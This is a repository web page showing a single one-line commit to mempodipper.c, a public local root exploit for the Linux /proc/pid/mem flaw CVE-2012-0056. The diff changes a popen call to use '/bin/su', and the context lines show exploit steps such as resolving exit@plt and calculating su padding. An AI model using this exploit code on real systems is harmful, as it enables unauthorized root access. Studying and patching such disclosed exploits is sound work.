summaryrefslogtreecommitdiffstats
path: root/mempodipper.c
diff options
context:
space:
mode:
authorJason A. Donenfeld <Jason@zx2c4.com>2012-01-23 13:52:38 +0100
committerJason A. Donenfeld <Jason@zx2c4.com>2012-01-23 13:52:38 +0100
commitafdbae82598ad841ca75cefd8a6290f91b52fc84 (patch)
tree0467d47079924f646ac3cbc606b77e7cb3a078b8 /mempodipper.c
parentUse socketpair instead of making named socket. (diff)
downloadCVE-2012-0056-afdbae82598ad841ca75cefd8a6290f91b52fc84.tar.xz
CVE-2012-0056-afdbae82598ad841ca75cefd8a6290f91b52fc84.zip
Consistancy
Diffstat (limited to 'mempodipper.c')
-rw-r--r--mempodipper.c2
1 files changed, 1 insertions, 1 deletions
diff --git a/mempodipper.c b/mempodipper.c
index 0a3c0c4..fcd9340 100644
--- a/mempodipper.c
+++ b/mempodipper.c
@@ -150,7 +150,7 @@ int main(int argc, char **argv)
printf("[+] Resolved exit@plt to 0x%lx.\n", address);
}
printf("[+] Calculating su padding.\n");
- FILE *command = popen("su this-user-does-not-exist 2>&1", "r");
+ FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
char result[256];
result[0] = 0;
fgets(result, 256, command);